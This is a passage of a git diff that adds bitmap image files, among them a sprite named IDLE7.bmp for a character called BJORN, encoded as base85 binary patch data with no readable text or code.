z9I#Wgs`Ns(;u_qi=p<=*=bp}jF&+#)16{pF(yG!du+F|=kbXf{8e7?|X?~uORjR-$ z^kR07;L@Y*!&rf8ck2@Ya%Mew&BsGi8CfkHr)WZq9aHaMWht&J(emDe$tlzGXmbcE zGxI9Yb1O2yRM|z;IVH4Va$5WfIs%INLP`cAD!M{SSHB>QLIvKG)?hh9sV}Ok2cCL` zZfNr>Xu;$)d1TbCiz%@Q%hU77({rn`z_i!}m9O&N5>Sx5#H!6An(pFgC(Y|3J z8g_eg`@v@$#buM3sRN>vg4V*S$qrt(cohL_ppmtgrZLVJT^i+&^GD$P5OwL%HK`G0 z_XCTfe6xeRQZeu}AA}m4fTxj(#1#%j7CskEJp(?841ZJ#7M>mKRT$-09v4)T7WpV8 zG6M_81t5W`RHO$|&A{KlO8OGJi?m*x4Z;j|BQFuxTv?kM5f_aO%TLT4>K_IlVgkge zEogchnt1iPv~s+)cTSX^Cnt`On2xvi`jrT}Fgqv3#A9u0+daOPmouE1)>l+KZK3Y2 zOvf8Tn}Xc}-b&i^BX$?uOH zm*!s_gMz~Ev4VG0W{O&B5=xyDtNGa@+35qhnS*(_(TIQwNeb>rbEo**2vs`%Tl|Vx zEzk;l^BB1+{d4ud%jbAYl&nXd@E< z*Ikv?^B}#aDy^?Nv$G_rCL_MDsjf0EI?D&)rDf!&XRgg6V#pztV28wNnq%RC&t4x+ z0d_H$P37~JSOuUEnNUI<@i!^|igIw4AY%FWO*a9Fz|-*_hh+Je&MSGQng?k%XW@VSm9YPZuM~IsQU(SHUyAO@6?KO7JXJ+&_w7v8~ z`twpT%snHlvk^m+0R20D1z+_jbBYG~MYVLj%t{7d;PmBW_BD0PPi*Xi;6S_kIjWgV zcGQ3oLk}iyA*2|nXAy04JJ%nXhH&nw2C23E`AFZ=%xu4kzkWs!G<;(%t8(-nuCqGgH2U# zrcN#WQ#0F#lbeUr+XNY3-|w4!)!a2-R6LrNjDJ`+pPgULaGJaz_2@&OpHDX4<<}#v zlB`?_Cf??rXSta}xfz26*#q6tAxRxw&w zFr1SykdfS*p3+;_`l7h9h4}{xFFW^Ntf~>K@eWqtdN5L3DCoF5cs4#+#-;Y>;Rd_L zS3tB7`^xkdz&+HJ)=CYDBU*|=1*!0ecUIRAwzn6C1XRU_XZr=rje&212-~aGrSY~> zw2_(j&71eph!}TAD+T2Ur#q7!RXbZ7M4ge2&MY6l%DbT@kzu3VJ#~d;l5DWTj2z-s zUwb6hEwvzj0+-f@OY6s__u|s~veNniXkp>_lfmWqxGc6aRL*8L8*6V25^p@-{}wAT z#-GnTgOM?0Wj`#he3q5k*WA4TrX*9FguD*Y0e}VzIdMUEnG>A)KW2lmvhRzrKW^r{goo+s=ZQ z*!jqqYl^G(wl^Q;<8=AOX;1#BdQB)D>mO=vk5(}n?Zh9WEKcG5tu0(Mbf0#Xjx`sU zNh-#ByRXcRA1kz#KXjMVineu0KzfT(v0puL-a<~L^-;ya{$5gWjN>hAbI)dV(|kkg zVq^PaQ`d{euIcRJ2M#yw_%1V=%4iJs^c|b}&BD7`V=$po>>`a%7BbTZ9}g`*1%ovK z^zh{&^rY#rC^MJ3u%sNb;MLE;Bbh8%dxDWNU>w~$>f7`sRQWD5BnJj(VFP2GkwcHW zb~ZPcp3jUwd6X7_QRfgr8kryrO;p%~Dw3i`AJ?wFnBUsi=%}uXvUAT1jfnI_Ub{f$ zXkhiYw#81*oc98~jkG=dNvpMLR)t5aY!o8h! ze~tTYR(~h7l7M2v;}?0k!y{|^(>nxKFb^BS4+%4{2cobWtLx7uXYTrj8cL{P@4$z8 z`iX0 zsEP}#NQf_pNyxq%Z!D$6OU?k+J;1mQDhplUx;k8H=l`a!P=vwN*E{ z=O6Z{uzX^8>^Kd*9~4-7H*1ia_YFSz`qqWA%BjhnLjVc_cx89jO5M=o=Zkr-_kXr( zNo-Jjd$;KgZNaN-cG_lzNoj56#kM!JZi*>oxOw$g6}P0PB{+EK!K4vJ=1(40X2iss z$!qgpVX-&7H8nEvYnQwR|NrRla38!;+T8^WaQuYxYt8qZc{gi9aI_@5V14Us#lxAY zUBV1y_5kX7f|tC)Gu%6PY!X!AczgRKvHZBc8E)kuPRAoa#l~@lI>N!JC?xQ{Cp-a( zC=3q7m|8NOxFmFiLyC#t*9kGu^`>(JgU6;ofoLCmOiDaYI0WUN4&T;%fBD_4Rrw|S zjI4Dn6BUo9C$|qkPX&u}8A;iCLW&@I-*1(0^{x6&jgA*);#`bv1gThgF3<%yc%sZ5 z*nYSyew7<(<5XEx0&@PbK_bxc;h$J|H|xy!BC(Sf%$jE=j= zhg9U)MF3)~f0&b$E-xV|$PFRM4x5`HOyk~c$9g}V_|yOWEmrU&pkCmuoUV`}1{qM_ z_5we>HnR%>zxrZAZmH<)@BKyx{hg{20*`q(hadQv^Y0k{u*>ge z1^35?L@5c&w)ZVIJedcR2e1~IoL;DMU2J&~jIf`$Ej*j!B%@R05Zm4)%nSdW+dEi^ zRhSu@6rs76TUgc7y$ojA-~pqpcSwZddUwmu-fMnDeUCbEWqwI}{qKJk`VnS7O!d92 zV7$aSd8msj4n5!MoLmF0eYUl&BdZbSi3Qd_E%6^$>tC0Hj(_48h4-^U(Ddje_htI{ z=#;U={n7P(&}E~;;}w_$!8rGJru~K0_a6eve?KUw(tBBnHA;_3Vk4z`^0;qy2Lj8? zeKT|XbnIXb4DSAqRQdf4`JSuqWhLGRrbT!3EmdKXi!YbK(kpmMceQfW6H_3}U)~x- z-}58?C6_*c71Z?Q!jdePprg^P&HY2L23z~Mm;D^olZLkc5{M71#)q*2W5f6XetK4< zt@G;k?)?6Nrnnly(&6pZ*AM)`|Df6jvw}K;54m`+vLJ6eZtcI$E3X!%;hY|w`VZFq zV}JT1SP8Qpe0!$=1G|g)?S+@CHw5Lf;!?oL|5tkLN3gzO8tosF=MgfJ)zpws@U(O! zychcE9n!}(^uJmEV_1)?w)lL(&CE`oSGe(E-SNr){=&zz65sEExCP1izn|~z8j_Iw EAE$*GRR910 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE7.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE7.bmp new file mode 100644 index 0000000000000000000000000000000000000000..8f2497e56bf303c3bbc58e7ed3bab0469fb184bc GIT binary patch literal 18462 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 